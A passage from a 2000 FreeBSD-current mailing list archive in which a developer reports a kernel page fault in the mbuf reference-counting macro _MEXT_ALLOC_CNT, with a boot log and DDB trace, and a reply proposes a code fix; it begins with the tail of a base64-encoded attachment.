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 H1f7xOP+uuRbK3f/2f8= --eutuatehtqiouusg-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Aug 19 15:21:17 2000 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id 382C937B424; Sat, 19 Aug 2000 15:21:13 -0700 (PDT) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.3/8.9.3) with ESMTP id PAA08974; Sat, 19 Aug 2000 15:21:12 -0700 (PDT) (envelope-from jdp@polstra.com) Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Sat, 19 Aug 2000 15:21:11 -0700 (PDT) Organization: Polstra & Co., Inc. From: John Polstra To: current@freebsd.org Subject: Instant panic in _MEXT_ALLOC_CNT Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG With sources from this morning I am getting an instant kernel-mode page fault in the new mbuf cluster reference counting code. It is failing in this statement of _MEXT_ALLOC_CNT (sys/mbuf.h), as far as I can tell: #define _MEXT_ALLOC_CNT(m_cnt) MBUFLOCK( \ union mext_refcnt *__mcnt; \ \ __mcnt = mext_refcnt_free; \ if ((__mcnt == NULL) && (m_alloc_ref(1) == 0)) \ panic("mbuf subsystem: out of ref counts!"); \ mext_refcnt_free = __mcnt->next_ref; \ [*crash*] Here is the console output and a stack trace from DDB: Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 5.0-CURRENT #0: Sat Aug 19 14:49:39 PDT 2000 jdp@blake.polstra.com:/local0/obj/local0/src/sys/BLAKE Timecounter "i8254" frequency 1193163 Hz Timecounter "TSC" frequency 400902857 Hz CPU: Pentium II/Pentium II Xeon/Celeron (400.90-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x653 Stepping = 3 Features=0x183f9ff real memory = 134205440 (131060K bytes) avail memory = 127336448 (124352K bytes) Preloaded elf kernel "kernel" at 0xc034b000. Pentium Pro MTRR support enabled npx0: on motherboard npx0: INT 16 interface pcib0: on motherboard pci0: on pcib0 pci0: at 0.0 pcib1: at device 1.0 on pci0 pci1: on pcib1 pci1: at 0.0 irq 11 isab0: at device 4.0 on pci0 isa0: on isab0 pci0: at 4.1 pci0: at 4.2 intpm0: port 0xe800-0xe80f irq 9 at device 4.3 on pci0 intpm0: I/O mapped e800 intpm0: intr IRQ 9 enabled revision 0 smbus0: on intsmb0 smb0: on smbus0 intpm0: PM I/O mapped e400 ahc0: port 0xd000-0xd0ff mem 0xe0000000-0xe0000fff irq 5 at device 6.0 on pci0 ahc0: aic7890/91 Wide Channel A, SCSI Id=7, 32/255 SCBs fxp0: port 0xb800-0xb83f mem 0xdf000000-0xdf0fffff,0xdf800000-0xdf800fff irq 12 at device 10. 0 on pci0 Fatal trap 12: page fault while in kernel mode fault virtual address = 0x0 fault code = supervisor read, page not present instruction pointer = 0x8:0xc02126ac stack pointer = 0x10:0xc035fea8 frame pointer = 0x10:0xc035febc code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = 0 (swapper) interrupt mask = net tty bio cam kernel: type 12 trap, code=0 Stopped at fxp_add_rfabuf+0x170: movl 0(%ebx),%eax db> trace fxp_add_rfabuf(c0a52c00,0) at fxp_add_rfabuf+0x170 fxp_attach_common(c0a52c00,c0a52cd8) at fxp_attach_common+0xb8 fxp_attach(c0a4ad80,c0a4ad80,c0a49600,c0a49580,0) at fxp_attach+0x1ad device_probe_and_attach(c0a4ad80) at device_probe_and_attach+0x8e bus_generic_attach(c0a49580,c0a49580,c0a49700,c0a49600,0) at bus_generic_attach+0x16 device_probe_and_attach(c0a49580) at device_probe_and_attach+0x8e bus_generic_attach(c0a49600,c0a49600,c071b680,c0a49700,0) at bus_generic_attach+0x16 device_probe_and_attach(c0a49600) at device_probe_and_attach+0x8e bus_generic_attach(c0a49700,c0a35080,c035ffc0,c0170c46,c0a49700) at bus_generic_attach+0x16 nexus_attach(c0a49700,c0a49700,c02c0e10,364000,0) at nexus_attach+0xd device_probe_and_attach(c0a49700) at device_probe_and_attach+0x8e root_bus_configure(c071b680,c029bacc,0) at root_bus_configure+0x16 configure(0,35dc00,364000,0,c011dc09) at configure+0x33 mi_startup(0,0,0,0,0) at mi_startup+0x68 begin() at begin+0x30 John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Aug 19 16:23:35 2000 Delivered-To: freebsd-current@freebsd.org Received: from falla.videotron.net (falla.videotron.net [205.151.222.106]) by hub.freebsd.org (Postfix) with ESMTP id 12ECF37B422; Sat, 19 Aug 2000 16:23:22 -0700 (PDT) Received: from jehovah ([24.201.203.113]) by falla.videotron.net (Sun Internet Mail Server sims.3.5.1999.12.14.10.29.p8) with SMTP id <0FZK00KKNBMVRT@falla.videotron.net>; Sat, 19 Aug 2000 19:23:19 -0400 (EDT) Date: Sat, 19 Aug 2000 19:26:17 -0400 From: Bosko Milekic Subject: Re: (URGENT) Instant panic in _MEXT_ALLOC_CNT To: John Polstra , dwmalone@freebsd.org Cc: current@freebsd.org Message-id: <000501c00a34$dfd43f20$71cbc918@jehovah> MIME-version: 1.0 X-Mailer: Microsoft Outlook Express 5.00.2919.6700 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 8BIT X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 References: X-Priority: 3 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hrmmm, there may be a logic problem here. Try this (apply it manually, as I am not able to produce a diff at this time): change: if ((__mcnt == NULL) && (m_alloc_ref(1) == 0)) panic("mbuf subsystem: out of ref counts!"); to: if (__mcnt == NULL) { if (m_alloc_ref(1) != 0) __mcnt = mext_refcnt_free; else panic("mbuf subsystem: out of ref counts!"); } It could be that the m_alloc_ref(1) doesn't fail, but that __mcnt is still NULL, it's missing that __mcnt = mext_refcnt_free assignment. This is most probably a BUG, so please commit the fix... If this does not solve the problem, we may be looking at a newly uncovered problem in fxp, although I doubt this. -Bosko bmilekic@dsuper.net ----- Original Message ----- From: "John Polstra" To: Sent: Saturday, August 19, 2000 6:21 PM Subject: Instant panic in _MEXT_ALLOC_CNT > With sources from this morning I am getting an instant kernel-mode > page fault in the new mbuf cluster reference counting code. It is > failing in this statement of _MEXT_ALLOC_CNT (sys/mbuf.h), as far as > I can tell: > > #define _MEXT_ALLOC_CNT(m_cnt) MBUFLOCK( \ > union mext_refcnt *__mcnt; \ > \ > __mcnt = mext_refcnt_free; \ > if ((__mcnt == NULL) && (m_alloc_ref(1) == 0)) \ > panic("mbuf subsystem: out of ref counts!"); \ > mext_refcnt_free = __mcnt->next_ref; \ > [*crash*] > > Here is the console output and a stack trace from DDB: > > Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 > The Regents of the University of California. All rights reserved. > FreeBSD 5.0-CURRENT #0: Sat Aug 19 14:49:39 PDT 2000 > jdp@blake.polstra.com:/local0/obj/local0/src/sys/BLAKE > Timecounter "i8254" frequency 1193163 Hz > Timecounter "TSC" frequency 400902857 Hz > CPU: Pentium II/Pentium II Xeon/Celeron (400.90-MHz 686-class CPU) > Origin = "GenuineIntel" Id = 0x653 Stepping = 3 > > Features=0x183f9ff ,MMX,FXSR> > real memory = 134205440 (131060K bytes) > avail memory = 127336448 (124352K bytes) > Preloaded elf kernel "kernel" at 0xc034b000. > Pentium Pro MTRR support enabled > npx0: on motherboard > npx0: INT 16 interface > pcib0: on motherboard > pci0: on pcib0 > pci0: at 0.0 > pcib1: at device 1.0 on pci0 > pci1: on pcib1 > pci1: at 0.0 irq 11 > isab0: at device 4.0 on pci0 > isa0: on isab0 > pci0: at 4.1 > pci0: at 4.2 > intpm0: port 0xe800-0xe80f irq 9 at > device 4.3 on pci0 > intpm0: I/O mapped e800 > intpm0: intr IRQ 9 enabled revision 0 > smbus0: on intsmb0 > smb0: on smbus0 > intpm0: PM I/O mapped e400 > ahc0: port 0xd000-0xd0ff mem > 0xe0000000-0xe0000fff irq 5 at device 6.0 on pci0 > ahc0: aic7890/91 Wide Channel A, SCSI Id=7, 32/255 SCBs > fxp0: port 0xb800-0xb83f mem > 0xdf000000-0xdf0fffff,0xdf800000-0xdf800fff irq 12 at device 10. > 0 on pci0 > > > Fatal trap 12: page fault while in kernel mode > fault virtual address = 0x0 > fault code = supervisor read, page not present > instruction pointer = 0x8:0xc02126ac > stack pointer = 0x10:0xc035fea8 > frame pointer = 0x10:0xc035febc > code segment = base 0x0, limit 0xfffff, type 0x1b > = DPL 0, pres 1, def32 1, gran 1 > processor eflags = interrupt enabled, resume, IOPL = 0 > current process = 0 (swapper) > interrupt mask = net tty bio cam > kernel: type 12 trap, code=0 > Stopped at fxp_add_rfabuf+0x170: movl 0(%ebx),%eax > db> trace > fxp_add_rfabuf(c0a52c00,0) at fxp_add_rfabuf+0x170 > fxp_attach_common(c0a52c00,c0a52cd8) at fxp_attach_common+0xb8 > fxp_attach(c0a4ad80,c0a4ad80,c0a49600,c0a49580,0) at fxp_attach+0x1ad > device_probe_and_attach(c0a4ad80) at device_probe_and_attach+0x8e > bus_generic_attach(c0a49580,c0a49580,c0a49700,c0a49600,0) at bus_generic_attach+0x16 > device_probe_and_attach(c0a49580) at device_probe_and_attach+0x8e > bus_generic_attach(c0a49600,c0a49600,c071b680,c0a49700,0) at bus_generic_attach+0x16 > device_probe_and_attach(c0a49600) at device_probe_and_attach+0x8e > 